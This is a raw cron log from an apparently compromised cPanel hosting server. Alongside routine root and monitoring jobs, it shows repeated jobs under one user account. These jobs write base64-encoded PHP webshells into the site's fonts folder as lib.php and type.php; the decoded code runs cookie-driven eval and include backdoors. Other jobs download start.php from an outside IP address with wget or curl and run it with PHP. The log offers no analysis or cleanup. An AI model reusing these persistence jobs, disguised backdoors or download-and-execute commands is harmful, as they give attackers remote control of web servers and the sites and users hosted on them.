Sep 10 16:15:02 ip-184-168-122-23 CROND[4543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:16:01 ip-184-168-122-23 CROND[4640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:16:01 ip-184-168-122-23 CROND[4643]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:16:01 ip-184-168-122-23 CROND[4646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:16:01 ip-184-168-122-23 CROND[4644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:16:01 ip-184-168-122-23 CROND[4642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:16:01 ip-184-168-122-23 CROND[4645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:17:01 ip-184-168-122-23 CROND[4761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:17:01 ip-184-168-122-23 CROND[4763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:17:01 ip-184-168-122-23 CROND[4765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:17:01 ip-184-168-122-23 CROND[4764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:18:01 ip-184-168-122-23 CROND[4944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:18:01 ip-184-168-122-23 CROND[4947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:18:01 ip-184-168-122-23 CROND[4948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:18:01 ip-184-168-122-23 CROND[4946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:18:01 ip-184-168-122-23 CROND[4949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:19:01 ip-184-168-122-23 CROND[5043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:19:01 ip-184-168-122-23 CROND[5041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:19:01 ip-184-168-122-23 CROND[5042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:19:01 ip-184-168-122-23 CROND[5045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:20:01 ip-184-168-122-23 CROND[5147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:20:01 ip-184-168-122-23 CROND[5149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:20:01 ip-184-168-122-23 CROND[5153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:20:01 ip-184-168-122-23 CROND[5151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:20:01 ip-184-168-122-23 CROND[5150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:20:01 ip-184-168-122-23 CROND[5156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:20:01 ip-184-168-122-23 CROND[5154]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:20:01 ip-184-168-122-23 CROND[5157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:20:01 ip-184-168-122-23 CROND[5152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:21:01 ip-184-168-122-23 CROND[5267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:21:01 ip-184-168-122-23 CROND[5268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:21:01 ip-184-168-122-23 CROND[5269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:21:01 ip-184-168-122-23 CROND[5271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:22:01 ip-184-168-122-23 CROND[5387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:22:01 ip-184-168-122-23 CROND[5390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:22:01 ip-184-168-122-23 CROND[5389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:22:01 ip-184-168-122-23 CROND[5392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:22:01 ip-184-168-122-23 CROND[5388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:23:01 ip-184-168-122-23 CROND[5589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:23:01 ip-184-168-122-23 CROND[5591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:23:01 ip-184-168-122-23 CROND[5592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:23:01 ip-184-168-122-23 CROND[5594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:24:01 ip-184-168-122-23 CROND[5684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:24:01 ip-184-168-122-23 CROND[5689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:24:01 ip-184-168-122-23 CROND[5687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:24:01 ip-184-168-122-23 CROND[5690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:24:01 ip-184-168-122-23 CROND[5686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:25:01 ip-184-168-122-23 CROND[5795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:25:01 ip-184-168-122-23 CROND[5797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:25:01 ip-184-168-122-23 CROND[5798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:25:01 ip-184-168-122-23 CROND[5801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:25:01 ip-184-168-122-23 CROND[5799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:25:01 ip-184-168-122-23 CROND[5800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:25:01 ip-184-168-122-23 CROND[5802]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 16:26:01 ip-184-168-122-23 CROND[5894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:26:01 ip-184-168-122-23 CROND[5897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:26:01 ip-184-168-122-23 CROND[5896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:26:01 ip-184-168-122-23 CROND[5898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:26:01 ip-184-168-122-23 CROND[5901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 16:27:01 ip-184-168-122-23 CROND[5998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 16:27:01 ip-184-168-122-23 CROND[6002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 16:27:01 ip-184-168-122-23 CROND[6000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
